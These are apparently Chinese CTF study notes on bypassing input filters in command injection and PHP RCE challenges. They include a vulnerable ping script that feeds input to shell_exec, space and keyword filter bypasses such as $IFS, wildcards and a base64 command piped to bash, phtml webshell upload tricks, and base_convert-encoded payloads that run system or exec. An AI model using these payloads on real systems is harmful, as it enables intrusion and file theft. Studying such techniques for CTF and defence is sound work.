奇怪的转义过滤姿势

Bash

需要用管道做的题,可能过滤了空格、关键字等参数;

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

过滤空格:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

过滤了特定关键字
1.cat fl* 利用*匹配任意
2.echo ”Y2F0IGZsYWcucGhw“| base64 -d | bash 是cat flag.php的base64编码
3.ca\t fl\ag.php \不影响命令执行
4.cat fl’'ag.php

这一题因为把上面用到的东西都过滤了,所以只能另辟蹊径

  1. 用变量替换:
    a=g;cat$IFS$1fla$a.php
  2. 换一种命令方式
    cat `ls` 用来cat ls出来的文件名

wenshell文件上传,文件名过滤方式:常见的php后缀名绕过方式有 php3 php4 php5 phtml pht 这道题里可以上传phtml

Math函数执行RCE

每一个函数都可以认为是一个字符串,而一个字符串事实上可以看作是高进制的数字;

比如exec可以认为是34进制的一个数字;

base_convert: 进制转换
hex2bin: 把十六进制转化成字符串
dechex/hexdec: 十进制和十六进制互相转化,hex是十六进制

所以如果想用纯数字表示exec函数可以这样:

base_convert(588892,10,34)("phpinfo()");

对一些特殊字符串比如 cat f* 显然无法用进制表示,进制最多就到z了;所以可以把字符串转化成十六进制再转化成十进制,再反过来表示。

$_GET[] 的中括号换成大括号一样可以正常使用。

比如一个payload:
c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi{abs}))&pi=system&abs=cat /flag

$pi是_GET

以及
$pi=base_convert;$pi(588892,10,34)($pi(26941962055,10,34)(dechex(109270211257898)))

就是执行exec(‘cat f*’)

无参数函数RCE

无参数RCE

例题WP

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

你可能感兴趣的:(ctf,CS,linux,bash)